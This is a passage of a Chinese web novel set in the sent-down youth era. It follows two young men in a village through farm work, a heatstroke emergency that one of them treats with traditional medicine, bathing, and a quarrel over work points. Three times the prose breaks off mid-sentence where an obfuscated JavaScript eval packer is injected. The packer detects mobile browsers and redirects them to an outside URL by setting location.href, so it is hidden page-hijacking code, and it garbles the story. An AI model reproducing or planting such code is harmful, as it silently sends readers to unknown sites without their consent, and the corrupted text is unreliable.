“你这个头发啊,该理一理了,不然干活一出汗,这头发就要黏在脸上和脖子上,可难受了。” “而且这么长的头发,也影响我们村的形象,男人就要大大方方的!” 这个年代的人,男的习惯剃板寸,女的习惯扎辫子,把脸和额头都露出来,整个人大大方方清清爽爽的。 许修竹头发这样长的,确实很少见。连梁月泽自己都是板寸。 和村长的严肃不同,书记是个和善的小老头,一旦接受了他们成为村里人,就会尽力让他们融入村里,毕竟这是党和组织的命令。 “我家里有剪刀,等中午休息了,你来我家,我给你剪个头发。”不知想到了什么,书记突然改口,“算了,还是我来找你吧。” 许修竹没有拒绝,任由书记在旁边碎碎念。 梁月泽的神智慢慢回归,天光已经大亮,附近的田地里,已经有村民在锄地了,书记放声说话,他这一刻才真切地感觉到—— 他睡在大庭广众之下!!! 他不仅没有私人领地,连一堵墙的隐私都没有了。 这个事实让梁月泽久久不能回神,脑海中一直回荡着一句话。 他的生活怎么突然变成这样了? 书记还在说话,锅里的红薯粥已经煮好了,许修竹从锅里舀出一碗粥,书记看他准备吃早饭,便打算先回家,让他俩一会儿到公社拿锄头去下田干活。 书记刚起身,就被许修竹叫住了,他把那碗粥端到书记面前递给他,说:“书记,请喝粥。” 小老头看着眼前的粥,眨了眨眼睛,他只是出于责任来给这两个小知青嘱咐一二,没想到对方竟然会邀请他吃早饭。 村里每个人的粮食都是定量的,干得多就分得多,没有人会大方到请别人吃饭,请别人吃一点,自己就要少吃一点。 大家都心照不宣,别人家吃饭的时间,就要主动告辞,免得主人家赶客,双方都尴尬。 “不用了,你婶子在家做饭了,现在回去正好能吃,这粥你就留着自己吃吧。” 书记虽然拒绝了,对眼前这个娃娃却多了几分好感。 会主动请人吃饭,能是什么坏人,顶多就是木讷了些,头发长了些,等他拿剪刀过来,帮他把头发给剪了,肯定是个精精神神的小伙子。 书记说完就乐滋滋地背着手走了,许修竹端着粥转头看向牛棚,发现梁月泽已经醒了,正想叫他过来吃早饭。 这时路边走过几个女孩子,她们手里拿着农具和帽子,正要下田去干活,却突然发现废弃牛棚这里多了两个人。 “他们是谁啊?怎么住在这里?” “不知道,没见过啊,是不是新来的知青?” “应该是,昨天我爸去县城里拉回来的。” “知青不是应该住知青所吗?怎么会在这里?” “不清楚,不过那边那人倒是挺好看的。” “是啊,长得好英俊啊!” “……” 几个女孩子看着牛棚里的梁月泽,叽叽喳喳地讨论起来,看一眼便害羞地移开视线,过了一会儿又转回来,显然是被这俊俏的知青吸引住了。 梁月泽不是没被围观过,以往再多人围观他内心都很淡定。 但这一次的围观,梁月泽再也淡定不起来了。 甚至还有些崩溃。 5. 下田 “都杵在这做什么?!!地里的活儿都干完了吗?!!” 几个女孩子看着牛棚里的英俊小伙子讨论了好一会儿,刚鼓起勇气准备上去打招呼,耳边就传来了村长的暴喝。 几人都吓了一跳,林月香瞄了一眼背对着她们的英俊知青,没忍住抱怨道:“爸,你那么大声做什么?都吓到我们了。” 村长不为所动,依然黑着张脸:“还不去地里干活?是想留到大中午的时候干吗?” 被村长赶着去干活,几个女孩子也不好意思再留,只好放弃打招呼,抬脚往她们要干活的地里去。 余光瞄到女孩子们都走了,梁月泽崩溃的情绪稍微止住了一点,他深吸一口气又缓慢地吐出来,做好了心理准备,才转过身面对村长。 村长眼冒怒火瞪着梁月泽,明显是对他招蜂引蝶表示不满。 梁月泽很也冤枉啊,他要是知道睡在这儿会让全村人都看见,昨天无论如何也不会任由知青所的人把他赶出来。 相比于睡觉被人围观,和十几个人挤一挤也不是不可以。 但现在事情已成定局,再跟村长要求回知青所,村长的脸估计会更黑。 “村长,您怎么来了?是有什么指示吗?”整理了一下心情,梁月泽开口道。 书记没喝的粥,被许修竹端给了村长,村长自不会贪他一口吃的,摆手拒绝了。 村长虽然心情不好,但也没有迁怒梁月泽,只冷着脸说道:“你们一会儿记得去公社,记分员会给新来的知青安排活儿。” 梁月泽和许修竹都纷纷点头应下,村长也是要下田干活的,简单说了几句就拿着锄头走了。 临走前看着梁月泽严肃地说了一句:“认真干活,少想些花花绿绿的事情。” 梁月泽能怎么办,只能微笑点头,表示他没有祸害村里姑娘的想法。 然后他拿着牙刷和毛巾,无视在田里干活的人,来到溪边开始洗漱。 看来以后他要在天亮之前起来了,否则像今天被人堵在稻草堆里的情况还会发生。 也怪他没有野外生活经验,不知道夏天野外的蚊虫多,昨晚被蚊虫叮了很多包,好几次都被痒醒,挠着挠着又睡过去了。 坐了几天火车,都没睡过一个好觉,所以哪怕牛棚的环境再恶劣,他都能入睡,就是容易被痒醒,睡得不安稳。 梁月泽回来时,早就煮好粥的许修竹并没有开动,而是等他回来后,让他看过两份粥的份量,确定没有谁多一点谁少一点才开始吃早餐。 公社借给他们的粮食是一样多的,都混合在一起,许修竹不会占别人的便宜,也不想别人占自己的便宜。 梁月泽没有多想,端起饭盒就吃了起来,喝粥的时候他注意到,旁边的许修竹好像在偷笑。 不确定,他再仔细看看。 还真是在偷笑,嘴角有轻微上扬,发现梁月泽看过来,他随即弯下嘴角专心喝粥。 肯定是在嘲笑他刚才被村长训斥,嘲笑他一个大男人招蜂引蝶。 梁月泽叹了口气,长成这样他还挺满意的,跟他上辈子很像,能有这么一张脸,麻烦就麻烦点吧。 吃完早餐后,两人到溪边把饭盒给洗了。 梁月泽拿上水壶,准备往公社走去,昨晚已经空了的水壶,此时已经灌满了水,显然是许修竹早起帮忙灌的。 这时书记又来了,他还扛着一个陈旧的大箱子,“砰”的一声箱子被卸到了两人跟前。 “这个箱子是公社淘汰下来不用的,我看放在公社也占地方,索性就借过来给你们先用着。” 书记抹了把汗:“我刚才看你们的东西都搁在外头,这里经常有人路过,不安全。虽说村里人多都看着,但少一把米少一两根红薯的,也不太看得出来。” “你们可以把粮食和贵重的东西都放进去,下田干活也能安心些。”小老头从裤兜掏出一把锁,锁上插着钥匙,笑眯眯地塞到许修竹手里。 本来书记是没想起这一茬的,但这个长头发的娃娃对他胃口,而且他们住在村里,真丢了东西,公社的脸面也不好看。 反正也是闲置的箱子,拿来给他们,好歹还有点用途。 这个箱子来得正是时候,不说粮食,就梁月泽自己带来的东西,在这个年代,手电筒、粮票布票还有几十块钱,都是很重要的资产。 梁月泽刚才把一些不好携带的东西都塞到稻草底下,票和钱则放进兜里,许修竹也是一样的操作。 梁月泽露出笑容:“真是多谢书记了,这可是帮了我们大忙了。” 与面对许修竹时的和善友好不同,梁月泽一说话,书记就板起了脸:“既然知道感谢,以后在村里就给我安分点。”千万别凭着这张脸就勾搭他们村里的姑娘。 说完,书记瞪了梁月泽一眼就走了。 不带这么区别对待吧! 梁月泽苦笑,没想到这张在前世受到老师同学都喜爱的脸,在这里如此被嫌弃,甚至还比不上阴郁少年许修竹。 箱子已经被擦过了,两人把粮食和衣服物品放进箱子里,梁月泽的衣服只有两套,许修竹的更少,只有一套。 两人的衣服放在粮食上面,看着并排放着的衣服,梁月泽有些不自在,距离太近了,他不太适应。 把东西都放好后,许修竹锁上箱子,两人快步往公社走去,收拾箱子又耽误了一些时间。 果然,他们到公社的时候,昨天一起被分配到扶柳村的新知青都已经到了,就等着梁月泽和许修竹。 昨晚男知青屋里发生的事情,都传到女知青那边了。 虽然知道两人没缘分,但覃晓燕对梁月泽的好感没有那么快消退,还是忍不住想关心一下,他昨晚去哪儿睡的? 不过记分员显然已经等得不耐烦了,人一到齐,就招呼着七个知青往田地里去。 覃晓燕的话没能说出口。 “我们白溪县一年两稻,前些日子收割了稻子,现在马上就要抢着耕种,田里的活儿很多,所有人都要下田去翻地。” “……一天最多10个工分,能挣多少工分,等年底就能分多少粮食……” 记分员是个有些坡脚的婶子,脾气有些火爆,但还是尽职给大家讲解工分的各项规则。 记分员把他们带到一块旱田上,用竹竿划好界限,让他们去锄地,等傍晚她再来记分。 锄地比梁月泽想象中要困难,不光是力道问题,还关乎锄地的姿势,锄头的质量。 很不幸,他拿到的锄头并不锋利,而且锄头的把手也有点短,不太适合他这样身高的人使用。 梁月泽不停歇地锄了七八分钟,人就已经累得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266347|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气喘吁吁了,直起腰往旁边一看,许修竹的速度比他快了三分之一。 再往女知青那边一看,他跟女知青的速度差不多。 这下梁月泽不敢休息了,他还要给许修竹干3个工分的活儿,只能继续弯腰干活。 农民真厉害,农民真辛苦。梁月泽脑海里只有这两句话。 没有人让他们休息,大家都不敢到一边去休息,初来乍到大家都很安分,想给村里人一个好印象。 好在记分员一个小时后晃回来了,在田埂上喊大家先休息一会儿,大家才终于有休息的时间。 一行人在树荫下休息,梁月泽捞起水壶给自己灌了好几口水,才干了一个小时的活儿,他的嗓子就跟冒烟了似的。 经过这一个小时的劳作,梁月泽已经认清现实,开始想别的出路了,种田真不是他能干得来的活儿。 但他是个知青,一个刚下乡的知青,知青到乡下来,就是来种田的,他不种田能做什么? 梁月泽在大学时,学的是机械制造,对各类机械原理很熟悉。 若是他还在城里,倒是可以考虑去机械厂应聘维修工,但他现在是在乡下,连辆拖拉机都没有,空有一身本领无用武之地。 难道他只能一直种田,直到恢复高考吗? 想了一圈都行不通后,梁月泽只能暂时搁下,先把眼前的活儿干好,改变村长和书记对他的印象,才可能有转机。 “梁月泽,你昨晚在哪里睡的?”休息了一会儿,覃晓燕还是没忍住。 她坐在梁月泽旁边,因为干活而浮上脸颊的潮红还没有消退,眼睛里满是真挚。 梁月泽一愣,随后一脸冷淡道:“村长给找了住处。”至于住在哪儿,他并不想说,虽然大家迟早都会知道。 李国栋和齐国伟看到覃晓燕担心梁月泽,心里很不满,在他们看来,梁月泽已经出局了。 他们和覃晓燕是同批来的知青,是最有可能和她发展恋爱关系的人,两人都很自信覃晓燕会选择他们。 结果她现在还关心那小白脸,莫非那小白脸还有可能? 李国栋赶紧说:“晓燕啊,他不乐意说,咱也别白费好心了,免得人家不领情。” 齐国伟附和:“没错,那人一路上都对咱们爱答不理的,没必要热脸贴别人冷屁股。” 最好对那小白脸赶紧失望,然后看到他们对她的好,选择跟他们在一起。 他俩不说话还好,一说话覃晓燕就来气。 她瞪着两人:“别以为我不知道,是你们俩把人梁月泽和许修竹赶出知青所的,别在这装好心了!” 李国栋说:“这怎么是我们赶他们出去了,是知青所的老知青不想跟他们住一个屋,跟我们有什么关系?” “怎么没关系?你们要是不说梁月泽和许修竹的身份,那些老知青能知道?” “那他爸是资本家是事实啊,还不准我们说了?” “你们就是嫉妒……” 一场因他而起的争吵,梁月泽却丝毫不想参与。 他看向另一边的许修竹,汗水浸湿了他的头发,可能是觉得难受,许修竹把刘海撇到两边,露出白净的额头。 许修竹长得还挺精致的,像漫画里走出来的漫画少年。 就是不符合这个时代的审美。梁月泽心想。 6. 中暑 从早上太阳升起,到中午休息,这群新来的知青,算上中途休息的几次,一共翻了将近五个小时的地。 梁月泽从未想过,他能干这么久的农活,要不是有意志力支撑着,他估计已经倒下了。 记分员一说可以先回去休息,下午再来时,大家都不约而同放下了锄头。 拖着疲惫的身体回到牛棚,梁月泽再也克制不住在稻草垫子上躺了下来。 他能看得出来,许修竹同样很疲惫,但他还是先把锅里剩下的红薯粥盛了出来。 早上他煮了一大锅粥,早上吃一半,中午吃一半,也不用大中午的还得花时间生火煮饭,大热天吃口凉的,比吃热乎的舒坦。 梁月泽想继续躺,但饥饿让他躺不下去,便爬起来把粥喝了。 喝完粥后,许修竹拿着瓦锅和饭盒到溪边清洗,梁月泽看着他的背影,心里好奇,这人长得不算高大,甚至是瘦小,怎么能爆发出这么大的能量? 地里的活儿一直不停歇,回来后也能忍住不直接躺下,难道他不累吗? 怎么可能不累呢,因干活而变得潮红的脸颊脖子,手心因为抡锄头的次数太多,摩擦变红,稍微碰一下都会疼。 至少梁月泽自己就是这样的,都是人,怎么可能不会疼。 但许修竹却仿佛没有痛觉一样,洗完饭盒回来,背上锄头就要出去。 “诶!你做什么去?大中午的你不休息吗?”梁月泽赶紧把人叫住。 许修竹说:“去上山。” 梁月泽皱眉:“上山去做什么?” 许修竹:“捡木柴。”没有柴刀就只能将就用锄头了。 早上的时候,他问了书记附近哪座山可以去打柴,连上山的小路都打听好了。 昨晚从村长家借来的柴火并不多,至多只够煮三天饭,而且还得把借来的柴火还回去。 他既然说了他做饭换工分,那么捡柴火就是他的责任。 傍晚收工太晚了,他对村里的山不熟悉,不敢晚上去上山,只能趁着中午有空去捡些柴火。 梁月泽犹豫了一会儿,终究还是无法安心在这里休息,便起身跟在许修竹身后。 “你跟来做什么?”许修竹边走边问。 梁月泽拿过他肩上扛着的锄头,说道:“跟你一起去捡木柴。” 许修竹夺回锄头,拒绝道:“不用,我煮饭,你用工分来换,很公平。” 梁月泽再次抢过锄头,快走几步到许修竹前面:“这也是交换,你帮我煮开水,我帮你捡木柴。” 许修竹这才没有再拒绝,两人一路沉默走到山脚下,然后爬上山坡,看见地上有枯树枝就捡,有些长在树上就枯了,梁月泽就用锄头把枯树枝敲下来。 梁月泽看了一眼地上的树枝,自觉差不多了,就停了下来。 这时他才发现,许修竹不见了。 他心里有些慌,生怕对方出了什么意外,自己因为太专注而没有及时发现。 “许修竹!你在哪儿?”梁月泽扬声喊道。 山间的回音传来,却没有许修竹的回应,梁月泽皱了皱眉,又喊了一声。 这次倒是有回应了,梁月泽顿时松了一口气,对方没事儿就行。 梁月泽也就不管他了,把地上的树枝都折成差不多长短的,一一叠放好,一会儿好捆绑起来。 许修竹没过多久就回来了,手上还拿着一把草。 梁月泽好奇:“拔这些草做什么?” 许修竹看向他,认真地说:“不是草,是药材,可以驱蚊虫。” 梁月泽一愣,他好像从没见过许修竹如此认真的神态。 随即他就反应过来许修竹说了什么,驱虫?那是不是意味着,他今晚可以睡个好觉了? “这个药材要怎么用啊?”梁月泽一边说一边把木柴都整理好了。 许修竹把药草放一边,找了一根树藤,用锄头锄断,然后把木柴捆起来。 “晒干,用火熏制或者放身上都可以。” 梁月泽点了点头,他其实也不太懂,只要能驱蚊就行了。 他昨晚实在是被蚊子折磨得不成样子,看来许修竹也受不了,不然怎么会去找驱蚊的药材。 下山的时候,梁月泽把锄头给许修竹,自己扛起那捆木柴,就率先下山了。 他们回到牛棚没多久,梁月泽感觉自己只是喝了口水的功夫,附近的农田就有村民出来干活了。 没办法,两人也只好拿上锄头往早上干活的田里去。 下午和上午一样,每次都是差不多干了一个小时,记分员就会喊他们去休息一下。 夏日炎炎,哪怕他们避开了最热的那段时间,仍然有人顶不住中暑了。 “诶诶诶!李国柱晕倒了!” 覃晓燕直起身给自己抹了把汗,余光却扫到在她旁边劳作的李国柱躺在了地上。 被机械性的劳作磨得神智有些麻木的大家,过了一秒后才反应过来覃晓燕说了什么,纷纷往李国柱那边看去。 大家当即撂下锄头,跑到李国柱身旁,许修竹给他检查了一下。 “应该是中暑了,快把他抬到树荫底下!” 梁月泽和齐国伟一人抬手,一人抬脚,把他抬到了树底下。 覃晓燕和另外两个女知青神色担忧地跟在后面。 看着脸上和身体都一片潮红的李国柱,许修竹说:“谁去打点溪水过来?他必须要及时降温。” 这个时候只有溪水是清凉的,连他们水壶里的水都晒得有些温热了。 两个女知青自告奋勇去打水,覃晓燕则跑去找记分员和村长汇报。 许修竹也没闲着,找了几片叶子叠一起给他扇风,齐国伟本来很慌,不知道要做什么,就跟着许修竹一样做。 来到扶柳村,齐国伟跟李国柱的关系是最好的,虽然两人也才认识一天,他真没见过这种场面,要不是有许修竹在,他怕是要慌得瘫地上了。 梁月泽看许修竹处理得有条有理的,便退到一边去,太多人围过去,容易造成空气稀薄。 江丽用一张芋头叶子先把水捧回来,于芳则跑回了知青所,拿知青所的木桶去装水。 许修竹让江丽直接把水泼到李国柱身上,李国柱身上的白色背心瞬间吸满了水。 梁月泽怕于芳提不动一桶水,便到溪边等着她,两人一起把水抬回去。 见水抬来了,许修竹让齐国伟扶着李国栋,他把李国栋身上的背心脱下来,浸到水桶里,然后往他脸上和身上擦拭。 记分员和村长正好在一起,三人很快就来了。 “这是怎么了?怎么突然晕了?”村长沉声问道。 记分员瞧了一眼,嗓门有些大:“哎哟!这是中暑了!” 村长脸色很不好看:“那赶紧把他送镇上的卫生所去!老杨家有自行车,我现在去借!” 新知青来他们村的第二天就中暑了,他也有责任,逃不过要向上面写检讨,脸色自然好看不起来。 同时也是怕李国栋真出点什么事儿。前几年隔壁镇有个知青也是中暑了,村里人没太在意,把他抬到树下休息,结果躺着躺着人就没了。 当时那个村被县里通报批评了三个月,连当年先进村评选的资格都没了。 城里来的知青,身体素质到底是比不过他们农村人,就算要劳作,也得循序渐进。 说着村长就要转身去书记家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266348|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借自行车,许修竹叫住了他:“村长,他还不能移动。” 村长皱紧眉头:“他怎么就不能移动了?中暑可不是小事儿,必须要赶紧送卫生所去急救!” 许修竹手上的动作没停:“他现在必须要把体温降下来,现在太阳还高挂着,您现在载他去镇上,只会加重他的症状。” 村长半信半疑,一时不知该不该听这个小年轻的,他怕拖延下去会加重病情,又怕真如这个小年轻说的,路上会加重病情。 他看了一眼许修竹,想到他的年纪,又想到从村里骑车到镇上,快的话只需要二十分钟。 村长不是个犹豫不决的人,军人退伍的他相当果决。 “不行,还是要先把人送到卫生所急救,这是一条人命可耽误不起。” 村长很快就骑来了自行车,招呼大家把人抬上车。 齐国伟没什么主见,此时听到村长的吩咐,就要和记分的刘婶子把人抬到车后座上。 被梁月泽伸手给拦住了。 村长沉下脸来:“你要做什么?中暑很严重的,不赶紧把人送卫生所会出大事儿的!” 现场气氛有些凝重,齐国伟一时不敢动作,三个女知青都在缩在一旁看着,唯有许修竹动作不停,持续着用溪水给李国柱擦拭。 梁月泽指向李国栋:“村长不妨看看,他脸上和身上是不是没那么红了?” “好像是没刚晕倒时那么红了。”覃晓燕小声道。 江丽和于芳也跟着附和:“真没那么红了,这是不是说明降温起效了?” 村长看过去,本来通红的李国栋,此时已变成粉红了,舒缓的眉毛说明他已经没那么难受了。 这个小年轻好像还真有两把刷子。 感受到村长的视线,许修竹抬头,说道:“我爷爷是个中医,我跟他学过一些。” 反正他是臭老九孙子的事情,村长和知青们都已经知道了,他也没必要遮遮掩掩。 这下村长是彻底放心了,看木桶里的水快没了,还指挥齐国伟和梁月泽再去打一桶过来。 在农村里,对中医的信任其实甚过西医,只是现在国家把中医都打成了封建余孽,他们也不好明目张胆去找中医看病。 而且有点能耐的中医不是被批斗了,就是隐藏了起来,这几年大家有点病都习惯了去卫生所。 等李国栋彻底降温了,太阳也下山了,期间李国柱睁了一次眼,又睡了过去。 村长让齐国伟在后面扶着李国柱,他用自行车伏着两个人去镇上的卫生所。 看着三人远去,覃晓燕拍了拍胸口:“吓死我了,没想到李国柱这么个大男人竟然会中暑!” 江丽直接瘫坐在地上:“是啊,我们女同志都还没晕呢,他倒是先晕了。” 于芳摇头:“看着挺人高马大的,可惜了。” 李国柱是个北方人,长得比梁月泽还高一点儿。 刘婶子也吓了一大跳,此时见人走了,太阳也下山了,到收工的时间,便拿出本子给他们记工分。 作为新手来说,他们完成得并不算好,主要是后面李国柱中暑,他们耽误了将近两个小时。 工分最多的是许修竹,他一个人拿了5个工分,剩下的都是4个工分。 梁月泽一算,他才4个工分,要给许修竹分3个工分。 那他今天这么辛苦,岂不是只干了1个工分的活儿? 梁月泽顿时就觉得不划算了,上午和下午劳作的时间加起来,满打满算也有6个小时了,3个工分要干4个半小时的活儿。 和许修竹早晚各一顿饭需要的时间相比,简直是天差地别! 梁月泽觉得,他昨晚答应得太早了。 7. 洗澡 “我跟你说啊,杨叔我这手艺可不是吹的,家里好几个混小子,他们的头发,全都是我剪的!” 牛棚前,书记正拿着一把剪刀,咔咔咔在给许修竹剪头发。 今天劳作了一天,可能许修竹也意识到了,长头发的碍事,此时正安分地坐着,让书记给他剪头发。 梁月泽站在书记拿来的凳子上,往棚顶上铺稻草。 棚顶上的稻草稀稀拉拉的,从里面看能看到好几个洞,一旦下雨肯定漏水。 修补起来太麻烦了,索性把旧稻草全部抽掉,重新盖棚顶。 书记教了梁月泽几次,看他会铺了,就把铺棚顶的事情交给了他,自己拉着许修竹到一边去剪头发。 梁月泽就这样赶鸭子上架了。 他一边铺着稻草,一边在思考,要怎么跟许修竹开口,他想反悔了。 辛苦劳作一天,只有4个工分,虽然有他不熟练干得慢的原因在,但是3个工分也太多了。 今年是下乡的第一年,由国家出钱负责知青的口粮,但来年口粮就要从村里出了,村里的规矩就是按工分分粮。 等到了年底分粮,他怕他分到的粮食,都不够他活一个月的。 就算他手里有二婶给的粮票和钱,但这能用多久啊,终究还是要他自力更生。 今年的劳作,决定着明年有多少粮能吃,这个时候工分就尤其重要了。 怪不得许修竹不要钱不要粮票布票,只有工分才是长久的。 虽然他在思考其他出路了,但现在不是还没找到吗。 梁月泽扫了一眼那边正剪头发的两个人,发现已经剪得差不多了。 书记没有吹牛,他手艺确实还不错,头发全部剪短了,露出了光洁的额头了,被遮盖着的耳朵也露了出来,看着挺白净小巧的。 许修竹整个人都变了样,没有了长头发的遮盖,阴郁的气质一扫而空,虽然还是没有表情不爱说话,给人的感官却截然不同。 书记用毛巾拍打着许修竹脖颈上和肩上的碎发,满意地露出了一个笑容。 “瞧瞧,现在看着多清爽啊,男同志就是要大大方方的,整天遮遮掩掩的像个什么样儿。” 许修竹摸了摸头顶,入手是一头扎手的发茬,神色有些复杂,说道:“多谢,书记。” 书记乐呵呵地摆手:“不用客气,举手之劳,这也是为了我们村的形象着想嘛。” 他欣赏着自己的杰作,他多厉害啊,这小伙子剪完头发都好看了几分。 看着看着,书记收起了笑容,眉心微蹙,这许知青是不是长得太好看了些? 书记往牛棚的方向看了一眼,正好撞上梁月泽的视线,他眉心皱得更紧了。 许知青和那小白脸虽然不是一个类型的,长得却不相上下,而且更显乖巧,肯定是村里大叔婶子们理想中的好儿子。 村里的姑娘们肯定也会喜欢。 这可怎么办呢? 他们这些当长辈的,自然是希望村里的姑娘能有个好人家,但知青就不是他们这个地方的人,有能耐的人,迟早会走的。 真没能耐的,村里的姑娘大概率也不会看得上。 书记是真发愁啊,这两人一看就不是普通人,哪怕现在身份受限在这里当知青,以后也肯定会走的。 没见识的小姑娘只会想喜不喜欢,真拗起来了,他们做长辈的,还能反对不成。 只希望这两个知青别沾花惹草的,安安分分地当他们的知青。 书记叹了一口气,什么话也没说,摇摇头拿着剪刀就走了。 梁月泽还想让书记来检查一下,棚顶的稻草他盖得对不对,结果喊了两声书记都当没听见似的。 许修竹不明所以,不明白书记怎么突然就走了,脸也拉了下来。 他看向梁月泽,梁月泽摆手:“我也不知道。” 可能是看你好看吧,梁月泽心想。 村里当了爹妈的人,对长得好看的知青,都这个态度,比照他就行了。 许修竹揉了揉脖子,过去给梁月泽递稻草,两人齐力在把棚顶盖好。 等一切都忙活完,天已经完全黑了,月亮又爬了上来,许修竹这才生火开始煮饭。 看着许修竹忙碌的身影,梁月泽有心想跟他说工分的事儿,但他又怕许修竹今晚不煮他的份,忙碌了一天,好歹先吃饱肚子吧。 这么一想,梁月泽就等到了吃完饭,还是熟悉的红薯大米粥,不过这次许修竹还放了一些不知道叫野菜,吃起来多了一股清香,也不知道他什么时候找的野菜。 突然改善了伙食,虽然只是加了一点野菜,也算是受了恩,梁月泽犹豫还要不要取消交易。 他看许修竹生火也不算难,煮东西也是直接放水煮,没什么技术含量。 实在是3个工分太多了,他得劳作多久才能赚到啊。 许修竹对梁月泽这一晚上的欲言又止,不是完全没察觉,他猜到了对方可能是因为工分的事情觉得不满。 所以他一直都在忙碌,不给对方说话的机会。 许修竹知道,这是一场不对等的交易,他是在欺负梁月泽不会做饭,但他真的很需要工分。 他需要表现得很优秀,他需要村长和书记都看到他,他需要一个机会。 把瓦锅和饭盒洗了,许修竹把瓦锅放在灶上烧水,梁月泽心想,这下应该有空了吧。 他不是个习惯犹豫的人,只是一直以来的行事准则,让他没办法在别人干活的时候说事儿。 梁月泽刚想说话,许修竹便拿出了他唯一的一套衣服,要往外走去。 “你去做什么?”梁月泽叫住了他。 许修竹脚步不停:“洗澡。” 昨晚安顿下来后太晚了,也没问村长哪里可以洗澡,只是在溪边擦了擦脸和脖子,加上在火车上没洗澡的那几天,整个人都要熏臭了。 早上书记过来时,许修竹就问了书记。 梁月泽一听是要去洗澡,当即就忘了要说工分的事情,赶紧拿上衣服毛巾跟在许修竹身后。 他不是个洁癖的人,否则也不能接受住在野外,以及下田干活。 但好几天没洗澡,他实在是忍不住了。 昨晚月亮太亮了,溪流两边一望可见,他哪里敢洗澡啊! “你要去哪里洗澡?”梁月泽问。 “溪边。” “溪边?没遮没拦的怎么洗澡?” “书记说,下游种了一片芦苇,村里的男同志夏天都是去哪儿洗澡的。” 村里的女人和女知青们,则是把水打回去洗澡,她们做不到在野外洗澡,哪怕有芦苇遮挡着。 男人没那么多讲究,夏天劳作了一天,最畅快的事情莫过于到溪水里洗个凉水澡,还能在溪流里游泳,村里好多男孩子,打小就被家中长辈这么带着学会了游泳。 “哦……” 两人走了十几分钟,才走到书记说的那片芦苇荡,还没靠近,就听到了男同志说话的声音。 不是一个两个,听起来有几十个人,两人都顿住了脚步。 嘈杂的说话声、溪水流下击打水面的声音、还有孩童们互相泼水的声音,隔着芦苇荡都能知道这里有多热闹。 梁月泽和许修竹互相对视了一眼,在月光下都能发现对方眼中的抗拒。 梁月泽咳了一声:“要不,我们等等吧?” 许修竹点头:“那就等等吧。” 于是两人找了条田埂坐下,搭配着身后的热闹声,默默仰头看月亮。 今晚的月亮是真圆啊,好像比昨天还圆一些。 不知过了多久,陆陆续续有人拿着湿衣服从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266349|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芦苇荡里走出来,芦苇荡里从热闹渐渐变得安静,直到没有人的痕迹。 梁月泽站起了身,往那边喊了一声:“还有人在吗?” 得到的回应只有青蛙的呱呱呱。 可能是村里人习惯了夏天在这里洗澡,岸边还有几个放干净衣服的篮子。 梁月泽和许修竹把干净衣服放下,便穿着衣服拿着毛巾下了水,他们还不习惯在别人面前袒露身体。 冰冷的溪水接触皮肤,冷得梁月泽打了个激灵,不过很快就适应了。 这一小段溪流,被村里人垫了石子在下面,不会一踩就是泥沙。 梁月泽和许修竹各自找了一个不会看见对方的位置,才肯褪下衣服扔到岸边,拿着毛巾开始各种搓。 几天没洗澡,梁月泽觉得,他身上的泥垢,都能搓出药丸子了。 只是洗着洗着,怎么突然听到有什么东西下水的声音,梁月泽开口:“许修竹,是你吗?” 芦苇那边传来许修竹纳闷的声音:“不是你吗?” “是我!” 村长突然出现的声音,把两人都吓了一跳,下意识往水里藏。 梁月泽手里攥着毛巾,有些结巴道:“村、村长,您、你怎么来?” 村长也不避人,该洗澡就洗澡,他用毛巾抹了把脸,说道:“我还没问你们呢,怎么这么晚才来洗澡?” 真实原因当然不能说出来,显得矫情,梁月泽索性避过这个问题没回答,反问道:“村长,李国柱怎么样了?” 村长:“卫生所的医生说,急救得很及时,没有什么大碍,今晚输几瓶药水,明天就能回来了。” 他看没什么大碍就先回来了,至于齐国伟,则留在卫生所照顾李国栋,第二天的农活可以免了,工分给他记5分。 听到这话,梁月泽眼睛都要绿了,恨不得陪着去卫生所的人是他。 5个工分啊,他今天抡锄头抡了一天,才不过得了4个工分,去照顾病人一晚上就能有5个工分,他太眼馋了。 想想真是悲哀,以前的他不说是个淡薄的人,但对很多东西都不太在乎,衣服能穿就行,饭有得吃就行,有间房住就行。 没想到来到这里,他会对那几个工分这么在乎。 应该是得之不易的原因吧。 村长洗澡很快,梁月泽和许修竹等他走了,才开始上岸。 等两人回去时,灶里的木炭都已经熄灭了,瓦锅里的水也烧开了,许修竹把瓦锅搬下来,以防灶塌了瓦锅也碎了。 洗完澡一身清爽的梁月泽坐在稻草上,看着许修竹在熏中午采的草药,太阳大一下午就晒成了半干。 梁月泽突然开口:“我们的交易暂停吧,3个工分太多了。” 许修竹身体一僵,低着头没看梁月泽,继续熏着草药没说话。 “我会学做饭,我们可以一人一天轮流做,或者你不愿意,我们就分开做饭。” 